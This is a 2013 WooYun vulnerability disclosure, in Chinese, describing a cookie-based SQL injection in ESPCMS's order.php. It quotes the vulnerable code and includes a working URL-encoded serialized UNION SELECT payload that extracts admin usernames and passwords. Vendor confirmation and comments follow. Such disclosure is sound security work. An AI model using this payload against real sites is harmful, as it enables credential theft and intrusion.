当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2013-21227

漏洞标题: ESPCMS COOKIE注入与详细分析

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Kavia

提交时间: 2013-04-04 10:44

公开时间: 2013-04-23 23:22

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 Mysql php+字符类型注射 php源码审核 白盒测试 cookie注入 espcms

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-04: 细节已通知厂商并且等待厂商处理中
2013-04-05: 厂商已经确认,细节仅向厂商公开
2013-04-15: 细节向核心白帽子及相关领域专家公开
2013-04-23: 厂商提前公开漏洞,细节向公众公开

简要描述:

对于从cookie中取出的值过滤不严,造成sql注入(可无视GPC)

详细说明:

/espcms/interface/order.php

code 区域
function in_list() {
parent::start_pagetemplate();
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->accept('ecisp_order_list', 'C'); //接收cookies[‘ecisp_order_list’]
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0; //$cartid有特殊的格式要求
if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql="SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where"; //动态构造sql语句
$rs = $this->db->query($sql); //直接带入查询





直接获取cookies[‘ecisp_order_list’]的值,没有经过过滤,直接被用来构造了sql语句,并带入了查询。所以此处形成了一个cookie注入。



接收到的cookies[‘ecisp_order_list’]在整个传递过程中,经过了htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()几个函数。

其中stripslashes()使得注入语句可以无视GPC的影响。

但是,由于unserialize()的使用,使得构造exp的难度加大;因为传入unserialize()的值,必须使用一种规定的特殊格式(实施上,我也没有完全吃透这个特殊格式)

我就依靠运气,和一点小技巧,成功地构造出了exp,这里就不细说了。大家可以通过打印几个函数的返回值,来找到构造的方法。(或者,也可以通过下面的exp,来找寻一些规律)

漏洞证明:

exp:

code 区域
a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d





获取管理员信息:

1.jpg





官网后台:

.jpg

修复方案:

在进入sql语句之前,对变量进行过滤

版权声明:转载请注明来源 Kavia@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-04-05 16:32

厂商回复:

感谢您对本漏洞的提醒!

最新状态:

2013-04-23:已修正此漏洞,登陆官网下载最新的程序包即可!


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-04-04 17:32 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)
    2

    http://www.myhack58.com/Article/html/3/62/2013/38126.htm 是这个不?是的话 在来提交还有什么意义...

  2. 2013-04-05 14:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    @Rookie 的确......

  3. 2013-04-05 14:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    @xsser 但貌似这个在乌云提交比那个时间还要早啊

  4. 2013-04-05 21:40 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )
    1

    @Rookie 俺先在乌云投了,然后然后然后,,,就不好意思了。。。。下次得注意了

  5. 2013-04-24 11:07 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    0

    不错啊~~~ wooyun现在对代码审计的白帽子明显重视了

登录后才能发表评论,请先 登录